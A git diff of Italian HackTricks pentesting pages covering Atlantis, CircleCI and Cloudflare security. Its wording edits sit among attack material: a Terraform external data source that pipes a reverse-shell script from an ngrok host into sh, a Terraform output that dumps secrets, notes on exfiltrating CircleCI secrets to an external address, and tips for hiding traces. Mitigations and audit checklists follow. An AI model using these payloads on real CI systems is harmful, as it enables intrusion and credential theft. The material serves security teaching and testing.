**in esecuzione** conterrà molto probabilmente **credenziali privilegiate** per i provider (AWS, GCP, Github...) che Atlantis sta gestendo tramite Terraform. +> Il **container** in cui **Atlantis** è **in esecuzione** conterrà molto probabilmente **credenziali privilegiate** per i provider (AWS, GCP, Github...) che Atlantis gestisce tramite Terraform. -#### Pagina web +#### Pagina Web Per impostazione predefinita, Atlantis eseguirà una **pagina web sulla porta 4141 in localhost**. Questa pagina consente solo di abilitare/disabilitare l'applicazione di atlantis e controllare lo stato del piano dei repo e sbloccarli (non consente di modificare le cose, quindi non è molto utile). Probabilmente non la troverai esposta su Internet, ma sembra che per impostazione predefinita **non siano necessarie credenziali** per accedervi (e se lo sono, `atlantis`:`atlantis` sono le **predefinite**). -### Configurazione del server +### Configurazione del Server La configurazione per `atlantis server` può essere specificata tramite flag da riga di comando, variabili di ambiente, un file di configurazione o un mix dei tre. -- Puoi trovare [**qui l'elenco dei flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supportati dal server di Atlantis. -- Puoi trovare [**qui come trasformare un'opzione di configurazione in una variabile di ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). +- Puoi trovare [**qui l'elenco dei flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supportati dal server di Atlantis +- Puoi trovare [**qui come trasformare un'opzione di configurazione in una variabile di ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) I valori sono **scelti in quest'ordine**: 1. Flag -2. Variabili di ambiente -3. File di configurazione +2. Variabili di Ambiente +3. File di Configurazione > [!WARNING] > Nota che nella configurazione potresti trovare valori interessanti come **token e password**. -#### Configurazione dei repo +#### Configurazione dei Repo Alcune configurazioni influenzano **come vengono gestiti i repo**. Tuttavia, è possibile che **ogni repo richieda impostazioni diverse**, quindi ci sono modi per specificare ciascun repo. Questo è l'ordine di priorità: 1. File [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Questo file può essere utilizzato per specificare come atlantis dovrebbe trattare il repo. Tuttavia, per impostazione predefinita, alcune chiavi non possono essere specificate qui senza alcuni flag che lo consentano. -2. Probabilmente necessario essere consentito da flag come `allowed_overrides` o `allow_custom_workflows`. -3. [**Configurazione lato server**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puoi passarla con il flag `--repo-config` ed è un yaml che configura nuove impostazioni per ciascun repo (supportati regex). -4. Valori **predefiniti**. +1. Probabilmente necessario essere consentito da flag come `allowed_overrides` o `allow_custom_workflows` +2. [**Configurazione Lato Server**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puoi passarla con il flag `--repo-config` ed è un yaml che configura nuove impostazioni per ciascun repo (regex supportati) +3. Valori **Predefiniti** **Protezione PR** @@ -97,7 +97,7 @@ Nel caso in cui `allowed_overrides` sia True, queste impostazioni possono essere La configurazione del repo può **specificare script** da eseguire [**prima**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) e [**dopo**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) che un **workflow viene eseguito.** -Non c'è alcuna opzione per consentire di **specificare** questi script nel **file `/atlantis.yml`** del repo. +Non c'è alcuna opzione per consentire di **specificare** questi script nel **file repo `/atlantis.yml`**. **Workflow** @@ -105,7 +105,7 @@ Nella configurazione del repo (configurazione lato server) puoi [**specificare u Poi, puoi consentire al file **atlantis.yaml** di ciascun repo di **specificare il workflow da utilizzare.** > [!CAUTION] -> Se il flag [**configurazione lato server**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` è impostato su **True**, i workflow possono essere **specificati** nel file **`atlantis.yaml`** di ciascun repo. È anche potenzialmente necessario che **`allowed_overrides`** specifichi anche **`workflow`** per **sovrascrivere il workflow** che verrà utilizzato.\ +> Se il flag [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` è impostato su **True**, i workflow possono essere **specificati** nel file **`atlantis.yaml`** di ciascun repo. È anche potenzialmente necessario che **`allowed_overrides`** specifichi anche **`workflow`** per **sovrascrivere il workflow** che verrà utilizzato.\ > Questo darà fondamentalmente **RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo**. > > ```yaml @@ -124,14 +124,14 @@ Poi, puoi consentire al file **atlantis.yaml** di ciascun repo di **specificare > steps: - run: my custom apply command > ``` -**Controllo delle politiche di Conftest** +**Controllo delle Politiche Conftest** Atlantis supporta l'esecuzione di **politiche** [**conftest**](https://www.conftest.dev/) **lato server** contro l'output del piano. I casi d'uso comuni per utilizzare questo passaggio includono: -- Negare l'uso di un elenco di moduli. -- Affermare gli attributi di una risorsa al momento della creazione. -- Catturare eliminazioni di risorse non intenzionali. -- Prevenire rischi per la sicurezza (ad es. esporre porte sicure al pubblico). +- Negare l'uso di un elenco di moduli +- Affermare gli attributi di una risorsa al momento della creazione +- Catturare eliminazioni di risorse non intenzionali +- Prevenire rischi per la sicurezza (ad es. esporre porte sicure al pubblico) Puoi controllare come configurarlo in [**la documentazione**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). @@ -160,7 +160,7 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` -### Attacks +### Attacchi > [!WARNING] > Se durante lo sfruttamento trovi questo **errore**: `Error: Error acquiring the state lock` @@ -174,7 +174,7 @@ atlantis plan -- -lock=false Se hai accesso in scrittura a un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis plan`** (o forse viene eseguito automaticamente) **sarai in grado di RCE all'interno del server Atlantis**. -Puoi farlo facendo [**caricare ad Atlantis una fonte di dati esterna**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Basta inserire un payload come il seguente nel file `main.tf`: +Puoi farlo facendo [**caricare a Atlantis una fonte di dati esterna**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Basta inserire un payload come il seguente nel file `main.tf`: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -193,9 +193,9 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa come: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Invece** di creare un **PR per master** per attivare Atlantis, **crea 2 branch** (test1 e test2) e crea un **PR da uno all'altro**. Quando hai completato l'attacco, basta **rimuovere il PR e i branch**. +- **Invece** di creare una **PR per master** per attivare Atlantis, **crea 2 branch** (test1 e test2) e crea una **PR da uno all'altro**. Quando hai completato l'attacco, semplicemente **rimuovi la PR e i branch**. -#### Dump dei segreti del piano Atlantis +#### Dump dei segreti del piano di Atlantis Puoi **dumpare i segreti usati da terraform** eseguendo `atlantis plan` (`terraform plan`) mettendo qualcosa del genere nel file terraform: ```json @@ -203,9 +203,9 @@ output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Modifica della configurazione in una nuova PR +#### Atlantis applica RCE - Modifica della configurazione in una nuova PR -Se hai accesso in scrittura a un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis apply`, sarai in grado di RCE all'interno del server Atlantis**. +Se hai accesso in scrittura su un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis apply`, sarai in grado di RCE all'interno del server Atlantis**. Tuttavia, di solito dovrai bypassare alcune protezioni: @@ -235,7 +235,7 @@ Segui i **suggerimenti della tecnica precedente** per eseguire questo attacco in #### Iniezione di Parametri Terraform -Quando si esegue `atlantis plan` o `atlantis apply`, terraform viene eseguito sotto, puoi passare comandi a terraform da atlantis commentando qualcosa come: +Quando esegui `atlantis plan` o `atlantis apply`, terraform viene eseguito sotto, puoi passare comandi a terraform da atlantis commentando qualcosa come: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -247,7 +247,7 @@ Qualcosa che puoi passare sono le variabili di ambiente che potrebbero essere ut #### Workflow personalizzato -Eseguire **comandi di build personalizzati malevoli** specificati in un file `atlantis.yaml`. Atlantis utilizza il file `atlantis.yaml` dal ramo della pull request, **non** da `master`.\ +Eseguendo **comandi di build personalizzati malevoli** specificati in un file `atlantis.yaml`. Atlantis utilizza il file `atlantis.yaml` dal ramo della pull request, **non** da `master`.\ Questa possibilità è stata menzionata in una sezione precedente: > [!CAUTION] @@ -282,9 +282,9 @@ apply_requirements: [] ``` #### PR Hijacking -Se qualcuno invia **`atlantis plan/apply` commenti sulle tue pull request valide,** farà sì che terraform venga eseguito quando non lo desideri. +Se qualcuno invia commenti **`atlantis plan/apply` sui tuoi pull request validi,** farà sì che terraform venga eseguito quando non lo desideri. -Inoltre, se non hai configurato nella **protezione del branch** di chiedere di **rivalutare** ogni PR quando viene **inviato un nuovo commit** su di essa, qualcuno potrebbe **scrivere configurazioni dannose** (controlla gli scenari precedenti) nella configurazione di terraform, eseguire `atlantis plan/apply` e ottenere RCE. +Inoltre, se non hai configurato nella **protezione del branch** di chiedere di **ri-valutare** ogni PR quando viene **inviato un nuovo commit** ad esso, qualcuno potrebbe **scrivere configurazioni malevole** (controlla gli scenari precedenti) nella configurazione di terraform, eseguire `atlantis plan/apply` e ottenere RCE. Questa è la **configurazione** nelle protezioni del branch di Github: @@ -292,14 +292,14 @@ Questa è la **configurazione** nelle protezioni del branch di Github: #### Webhook Secret -Se riesci a **rubare il webhook secret** utilizzato o se **non viene utilizzato alcun webhook secret**, potresti **chiamare il webhook di Atlantis** e **invochare comandi atlatis** direttamente. +Se riesci a **rubare il webhook secret** utilizzato o se **non c'è alcun webhook secret** in uso, potresti **chiamare il webhook di Atlantis** e **invochare comandi atlatis** direttamente. #### Bitbucket Bitbucket Cloud **non supporta i webhook secret**. Questo potrebbe consentire agli attaccanti di **falsificare richieste da Bitbucket**. Assicurati di consentire solo gli IP di Bitbucket. - Questo significa che un **attaccante** potrebbe fare **richieste false ad Atlantis** che sembrano provenire da Bitbucket. -- Se stai specificando `--repo-allowlist`, allora potrebbero solo falsificare richieste relative a quei repo, quindi il danno massimo che potrebbero fare sarebbe pianificare/applicare sui tuoi stessi repo. +- Se stai specificando `--repo-allowlist`, allora potrebbero solo falsificare richieste relative a quei repo, quindi il danno maggiore che potrebbero fare sarebbe pianificare/applicare sui tuoi stessi repo. - Per prevenire questo, consenti solo gli [indirizzi IP di Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vedi indirizzi IPv4 in uscita). ### Post-Exploitation @@ -308,20 +308,20 @@ Se sei riuscito ad accedere al server o almeno hai ottenuto un LFI, ci sono alcu - `/home/atlantis/.git-credentials` Contiene credenziali di accesso vcs - `/atlantis-data/atlantis.db` Contiene credenziali di accesso vcs con più informazioni -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` File di stato di Terraform +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` File di stato di terraform - Esempio: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate - `/proc/1/environ` Variabili d'ambiente -- `/proc/[2-20]/cmdline` Linea di comando di `atlantis server` (può contenere dati sensibili) +- `/proc/[2-20]/cmdline` Cmd line di `atlantis server` (potrebbe contenere dati sensibili) -### Mitigazioni +### Mitigations -#### Non Usare Su Repo Pubblici +#### Don't Use On Public Repos -Poiché chiunque può commentare su pull request pubbliche, anche con tutte le mitigazioni di sicurezza disponibili, è comunque pericoloso eseguire Atlantis su repo pubblici senza una corretta configurazione delle impostazioni di sicurezza. +Poiché chiunque può commentare sui pull request pubblici, anche con tutte le mitigazioni di sicurezza disponibili, è comunque pericoloso eseguire Atlantis su repo pubblici senza una corretta configurazione delle impostazioni di sicurezza. -#### Non Usare `--allow-fork-prs` +#### Don't Use `--allow-fork-prs` -Se stai eseguendo su un repo pubblico (cosa non raccomandata, vedi sopra), non dovresti impostare `--allow-fork-prs` (di default è false) perché chiunque può aprire una pull request dal proprio fork al tuo repo. +Se stai eseguendo su un repo pubblico (cosa non raccomandata, vedi sopra) non dovresti impostare `--allow-fork-prs` (di default è false) perché chiunque può aprire un pull request dal proprio fork al tuo repo. #### `--repo-allowlist` @@ -334,23 +334,23 @@ Atlantis richiede di specificare una lista di autorizzazione di repository da cu Questo flag garantisce che la tua installazione di Atlantis non venga utilizzata con repository che non controlli. Vedi `atlantis server --help` per ulteriori dettagli. -#### Proteggi la Pianificazione di Terraform +#### Protect Terraform Planning -Se gli attaccanti inviano pull request con codice Terraform dannoso è nel tuo modello di minaccia, allora devi essere consapevole che le approvazioni di `terraform apply` non sono sufficienti. È possibile eseguire codice dannoso in un `terraform plan` utilizzando la [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o specificando un provider dannoso. Questo codice potrebbe quindi esfiltrare le tue credenziali. +Se gli attaccanti inviano pull request con codice Terraform malevolo è nel tuo modello di minaccia, allora devi essere consapevole che le approvazioni di `terraform apply` non sono sufficienti. È possibile eseguire codice malevolo in un `terraform plan` utilizzando la [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o specificando un provider malevolo. Questo codice potrebbe quindi esfiltrare le tue credenziali. Per prevenire questo, potresti: 1. Includere i provider nell'immagine di Atlantis o ospitarli e negare l'uscita in produzione. 2. Implementare internamente il protocollo del registro dei provider e negare l'uscita pubblica, in questo modo controlli chi ha accesso in scrittura al registro. -3. Modificare il passo `plan` della tua [configurazione del repo lato server](https://www.runatlantis.io/docs/server-side-repo-config.html) per convalidare l'uso di provider o data source non consentiti o PR da utenti non autorizzati. Potresti anche aggiungere una convalida extra a questo punto, ad esempio richiedendo un "pollice in su" sulla PR prima di consentire la continuazione del `plan`. Conftest potrebbe essere utile qui. +3. Modificare il tuo [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step per convalidare l'uso di provider o data source non consentiti o PR da utenti non autorizzati. Potresti anche aggiungere una convalida extra a questo punto, ad esempio richiedendo un "pollice in su" sul PR prima di consentire la continuazione del `plan`. Conftest potrebbe essere utile qui. #### Webhook Secrets Atlantis dovrebbe essere eseguito con i webhook secret impostati tramite le variabili d'ambiente `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Anche con il flag `--repo-allowlist` impostato, senza un webhook secret, gli attaccanti potrebbero fare richieste ad Atlantis spacciandosi per un repository autorizzato. I webhook secret garantiscono che le richieste webhook provengano effettivamente dal tuo fornitore VCS (GitHub o GitLab). -Se stai usando Azure DevOps, invece dei webhook secret, aggiungi un nome utente e una password di base. +Se stai usando Azure DevOps, invece dei webhook secret aggiungi un nome utente e una password di base. -#### Autenticazione di Base di Azure DevOps +#### Azure DevOps Basic Authentication Azure DevOps supporta l'invio di un'intestazione di autenticazione di base in tutti gli eventi webhook. Questo richiede l'uso di un URL HTTPS per la tua posizione webhook. @@ -358,13 +358,13 @@ Azure DevOps supporta l'invio di un'intestazione di autenticazione di base in tu Se stai usando webhook secret ma il tuo traffico è su HTTP, allora i webhook secret potrebbero essere rubati. Abilita SSL/HTTPS utilizzando i flag `--ssl-cert-file` e `--ssl-key-file`. -#### Abilita l'Autenticazione sul Server Web di Atlantis +#### Enable Authentication on Atlantis Web Server È molto raccomandato abilitare l'autenticazione nel servizio web. Abilita BasicAuth utilizzando `--web-basic-auth=true` e imposta un nome utente e una password utilizzando i flag `--web-username=yourUsername` e `--web-password=yourPassword`. Puoi anche passare questi come variabili d'ambiente `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` e `ATLANTIS_WEB_PASSWORD=yourPassword`. -### Riferimenti +### References - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index fa51cec7e..f94c1d99e 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,29 +1,29 @@ -# CircleCI Security +# Sicurezza di CircleCI {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Informazioni di base [**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) è una piattaforma di Integrazione Continua dove puoi **definire modelli** che indicano cosa vuoi che faccia con del codice e quando farlo. In questo modo puoi **automatizzare i test** o **le distribuzioni** direttamente **dal tuo ramo master del repo**, per esempio. -### Permissions +### Permessi **CircleCI** **eredita i permessi** da github e bitbucket relativi all'**account** che effettua il login.\ Nei miei test ho verificato che finché hai **permessi di scrittura sul repo in github**, sarai in grado di **gestire le impostazioni del progetto in CircleCI** (impostare nuove chiavi ssh, ottenere chiavi api del progetto, creare nuovi rami con nuove configurazioni CircleCI...). Tuttavia, devi essere un **admin del repo** per **convertire il repo in un progetto CircleCI**. -### Env Variables & Secrets +### Variabili Env & Segreti Secondo [**la documentazione**](https://circleci.com/docs/2.0/env-vars/) ci sono diversi modi per **caricare valori nelle variabili di ambiente** all'interno di un workflow. -#### Built-in env variables +#### Variabili env integrate -Ogni container eseguito da CircleCI avrà sempre [**variabili di ambiente specifiche definite nella documentazione**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) come `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`. +Ogni container eseguito da CircleCI avrà sempre [**variabili env specifiche definite nella documentazione**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) come `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`. -#### Clear text +#### Testo chiaro -Puoi dichiararle in chiaro all'interno di un **comando**: +Puoi dichiararle in testo chiaro all'interno di un **comando**: ```yaml - run: name: "set and echo" @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -Puoi dichiararli in testo chiaro all'interno dell'**ambiente build-job**: +Puoi dichiararli in testo chiaro all'interno dell'**ambiente di build-job**: ```yaml jobs: build-job: @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -Puoi dichiararli in testo chiaro all'interno dell'**ambiente di un container**: +Puoi dichiararli in testo chiaro all'interno dell'**ambiente di un contenitore**: ```yaml jobs: build-job: @@ -79,9 +79,9 @@ Questi sono segreti che sono **a livello di org**. Per **default, qualsiasi repo ### Attacchi -#### Cerca Segreti in Chiaro +#### Cerca Segreti in Testo Chiaro -Se hai **accesso al VCS** (come github) controlla il file `.circleci/config.yml` di **ogni repo su ogni ramo** e **cerca** potenziali **segreti in chiaro** memorizzati lì. +Se hai **accesso al VCS** (come github) controlla il file `.circleci/config.yml` di **ogni repo su ogni ramo** e **cerca** potenziali **segreti in testo chiaro** memorizzati lì. #### Enumerazione di Variabili Env Segrete & Contesto @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -Se **non hai accesso alla console web** ma hai **accesso al repo** e sai che CircleCI è utilizzato, puoi semplicemente **creare un workflow** che viene **attivato ogni minuto** e che **esfiltra i segreti a un indirizzo esterno**: +Se **non hai accesso alla console web** ma hai **accesso al repo** e sai che viene utilizzato CircleCI, puoi semplicemente **creare un workflow** che viene **attivato ogni minuto** e che **esfiltra i segreti a un indirizzo esterno**: ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -Se **non hai accesso alla console web** ma hai **accesso al repo** e sai che CircleCI è utilizzato, puoi semplicemente **modificare un workflow** che viene **attivato ogni minuto** e che **esfiltra i segreti a un indirizzo esterno**: +Se non hai accesso alla console web ma hai accesso al repo e sai che CircleCI è utilizzato, puoi semplicemente modificare un workflow che viene attivato ogni minuto e che esfiltra i segreti a un indirizzo esterno: ```yaml version: 2.1 @@ -192,14 +192,14 @@ jobs: context: Test-Context ``` > [!WARNING] -> Creare un nuovo `.circleci/config.yml` in un repo **non è sufficiente per attivare una build di circleci**. Devi **abilitarlo come progetto nella console di circleci**. +> Creare semplicemente un nuovo `.circleci/config.yml` in un repo **non è sufficiente per attivare una build di circleci**. Devi **abilitarlo come progetto nella console di circleci**. #### Escape to Cloud **CircleCI** ti offre l'opzione di eseguire **le tue build sulle loro macchine o sulle tue**.\ Per impostazione predefinita, le loro macchine si trovano in GCP, e inizialmente non sarai in grado di trovare nulla di rilevante. Tuttavia, se una vittima sta eseguendo i compiti **sulle proprie macchine (potenzialmente, in un ambiente cloud)**, potresti trovare un **endpoint di metadata cloud con informazioni interessanti**. -Nota che negli esempi precedenti è stato lanciato tutto all'interno di un container docker, ma puoi anche **richiedere di avviare una macchina VM** (che potrebbe avere permessi cloud diversi): +Nota che negli esempi precedenti è stato lanciato tutto all'interno di un contenitore docker, ma puoi anche **chiedere di avviare una macchina VM** (che potrebbe avere permessi cloud diversi): ```yaml jobs: exfil-env: diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 5159ef4bb..db92bab9a 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -In un account Cloudflare ci sono alcune **impostazioni generali e servizi** che possono essere configurati. In questa pagina analizzeremo **le impostazioni di sicurezza relative a ciascuna sezione:** +In un account Cloudflare ci sono alcune **impostazioni generali e servizi** che possono essere configurati. In questa pagina analizzeremo le **impostazioni relative alla sicurezza di ciascuna sezione:**
@@ -16,7 +16,7 @@ cloudflare-domains.md ### Registrazione del Dominio -- [ ] In **`Transfer Domains`** verifica che non sia possibile trasferire alcun dominio. +- [ ] In **`Transfer Domains`** controlla che non sia possibile trasferire alcun dominio. Esamina ciascuno con: @@ -32,12 +32,12 @@ _Non sono riuscito a trovare nulla da controllare per una revisione della sicure Su ciascuna pagina di Cloudflare: -- [ ] Controlla se ci sono **informazioni sensibili** nel **`Build log`**. -- [ ] Controlla se ci sono **informazioni sensibili** nel **repository Github** assegnato alle pagine. -- [ ] Controlla per potenziali compromissioni del repository github tramite **workflow command injection** o compromissione di `pull_request_target`. Maggiori informazioni nella [**pagina di Sicurezza di Github**](../github-security/). -- [ ] Controlla per **funzioni vulnerabili** nella directory `/fuctions` (se presenti), controlla i **redirect** nel file `_redirects` (se presenti) e **header mal configurati** nel file `_headers` (se presenti). -- [ ] Controlla per **vulnerabilità** nella **pagina web** tramite **blackbox** o **whitebox** se puoi **accedere al codice**. -- [ ] Nei dettagli di ciascuna pagina `//pages/view/blocklist/settings/functions`. Controlla se ci sono **informazioni sensibili** nelle **`Environment variables`**. +- [ ] Controlla le **informazioni sensibili** nel **`Build log`**. +- [ ] Controlla le **informazioni sensibili** nel **repository Github** assegnato alle pagine. +- [ ] Controlla il potenziale compromesso del repository github tramite **workflow command injection** o compromesso di `pull_request_target`. Maggiori informazioni nella [**pagina di sicurezza di Github**](../github-security/). +- [ ] Controlla le **funzioni vulnerabili** nella directory `/fuctions` (se presenti), controlla i **redirect** nel file `_redirects` (se presenti) e gli **header mal configurati** nel file `_headers` (se presenti). +- [ ] Controlla le **vulnerabilità** nella **pagina web** tramite **blackbox** o **whitebox** se puoi **accedere al codice**. +- [ ] Nei dettagli di ciascuna pagina `//pages/view/blocklist/settings/functions`. Controlla le **informazioni sensibili** nelle **`Environment variables`**. - [ ] Nella pagina dei dettagli controlla anche il **build command** e la **root directory** per **potenziali iniezioni** che possano compromettere la pagina. ## **Workers** @@ -45,7 +45,7 @@ Su ciascuna pagina di Cloudflare: Su ciascun worker di Cloudflare controlla: - [ ] I trigger: Cosa fa scattare il worker? Un **utente può inviare dati** che saranno **utilizzati** dal worker? -- [ ] Nelle **`Settings`**, controlla se ci sono **`Variables`** contenenti **informazioni sensibili**. +- [ ] Nelle **`Settings`**, controlla le **`Variables`** contenenti **informazioni sensibili**. - [ ] Controlla il **codice del worker** e cerca **vulnerabilità** (soprattutto nei luoghi in cui l'utente può gestire l'input). - Controlla per SSRF che restituiscono la pagina indicata che puoi controllare. - Controlla XSS che eseguono JS all'interno di un'immagine svg. @@ -114,13 +114,13 @@ cloudflare-zero-trust-network.md - `Advanced Security Events Alert` - `Security Events Alert` - [ ] Controlla tutte le **destinazioni**, poiché potrebbero esserci **informazioni sensibili** (autenticazione http di base) negli URL dei webhook. Assicurati anche che gli URL dei webhook utilizzino **HTTPS**. -- [ ] Come controllo extra, potresti provare a **fingere una notifica di cloudflare** a una terza parte, forse puoi in qualche modo **iniettare qualcosa di pericoloso**. +- [ ] Come controllo extra, potresti provare a **impersonare una notifica di cloudflare** a una terza parte, magari puoi in qualche modo **iniettare qualcosa di pericoloso**. ## Gestisci Account - [ ] È possibile vedere le **ultime 4 cifre della carta di credito**, il **tempo di scadenza** e l'**indirizzo di fatturazione** in **`Billing` -> `Payment info`**. - [ ] È possibile vedere il **tipo di piano** utilizzato nell'account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** è possibile vedere tutti i membri dell'account e il loro **ruolo**. Nota che se il tipo di piano non è Enterprise, esistono solo 2 ruoli: Amministratore e Super Amministratore. Ma se il **piano utilizzato è Enterprise**, [**ulteriori ruoli**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) possono essere utilizzati per seguire il principio del minimo privilegio. +- [ ] In **`Members`** è possibile vedere tutti i membri dell'account e il loro **ruolo**. Nota che se il tipo di piano non è Enterprise, esistono solo 2 ruoli: Amministratore e Super Amministratore. Ma se il **piano utilizzato è Enterprise**, [**più ruoli**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) possono essere utilizzati per seguire il principio del minimo privilegio. - Pertanto, ogni volta che è possibile è **raccomandato** utilizzare il **piano Enterprise**. - [ ] In Members è possibile controllare quali **membri** hanno **2FA abilitato**. **Ogni** utente dovrebbe averlo abilitato. diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index f9203e806..b88c10194 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -23,8 +23,8 @@ In ogni TLD configurato in Cloudflare ci sono alcune **impostazioni generali e s - [ ] Controlla le **pagine web proxificate** che possono essere **accessibili direttamente** tramite CNAME o indirizzo IP - [ ] Controlla che **DNSSEC** sia **abilitato** - [ ] Controlla che **CNAME Flattening** sia **utilizzato** in **tutti i CNAME** -- Questo potrebbe essere utile per **nascondere le vulnerabilità di takeover dei sottodomini** e migliorare i tempi di caricamento -- [ ] Controlla che i domini [**non siano vulnerabili allo spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- Questo potrebbe essere utile per **nascondere vulnerabilità di takeover dei sottodomini** e migliorare i tempi di caricamento +- [ ] Controlla che i domini [**non siano vulnerabili a spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -52,30 +52,30 @@ TODO ### **Security** -- [ ] Nella sezione **`WAF`** è interessante controllare che le **regole di Firewall** e **rate limiting siano utilizzate** per prevenire abusi. +- [ ] Nella sezione **`WAF`** è interessante controllare che le **regole di Firewall** e **rate limiting** siano utilizzate per prevenire abusi. - L'azione **`Bypass`** disabiliterà le funzionalità di sicurezza di Cloudflare per una richiesta. Non dovrebbe essere utilizzata. -- [ ] Nella sezione **`Page Shield`** è consigliato controllare che sia **abilitato** se viene utilizzata una pagina +- [ ] Nella sezione **`Page Shield`** è consigliato controllare che sia **abilitato** se viene utilizzata qualche pagina - [ ] Nella sezione **`API Shield`** è consigliato controllare che sia **abilitato** se qualche API è esposta in Cloudflare - [ ] Nella sezione **`DDoS`** è consigliato abilitare le **protezioni DDoS** - [ ] Nella sezione **`Settings`**: -- [ ] Controlla che il **`Security Level`** sia **medio** o superiore +- [ ] Controlla che il **`Security Level`** sia **medium** o superiore - [ ] Controlla che il **`Challenge Passage`** sia di massimo 1 ora - [ ] Controlla che il **`Browser Integrity Check`** sia **abilitato** - [ ] Controlla che il **`Privacy Pass Support`** sia **abilitato** #### **CloudFlare DDoS Protection** -- Se puoi, abilita **Bot Fight Mode** o **Super Bot Fight Mode**. Se stai proteggendo qualche API accessibile programmaticamente (da una pagina front end JS ad esempio). Potresti non essere in grado di abilitare questo senza interrompere quell'accesso. +- Se puoi, abilita **Bot Fight Mode** o **Super Bot Fight Mode**. Se stai proteggendo qualche API accessibile programmaticamente (da una pagina front end JS, ad esempio). Potresti non essere in grado di abilitare questo senza interrompere quell'accesso. - In **WAF**: Puoi creare **rate limits per percorso URL** o per **bot verificati** (regole di rate limiting), o per **bloccare l'accesso** in base a IP, Cookie, referrer...). Quindi potresti bloccare richieste che non provengono da una pagina web o non hanno un cookie. - Se l'attacco proviene da un **bot verificato**, almeno **aggiungi un rate limit** ai bot. - Se l'attacco è a un **percorso specifico**, come meccanismo di prevenzione, aggiungi un **rate limit** in questo percorso. - Puoi anche **whitelistare** indirizzi IP, intervalli IP, paesi o ASN dagli **Strumenti** in WAF. -- Controlla se le **regole gestite** potrebbero anche aiutare a prevenire sfruttamenti di vulnerabilità. -- Nella sezione **Strumenti** puoi **bloccare o dare una sfida a IP specifici** e **user agents.** +- Controlla se le **Managed rules** potrebbero anche aiutare a 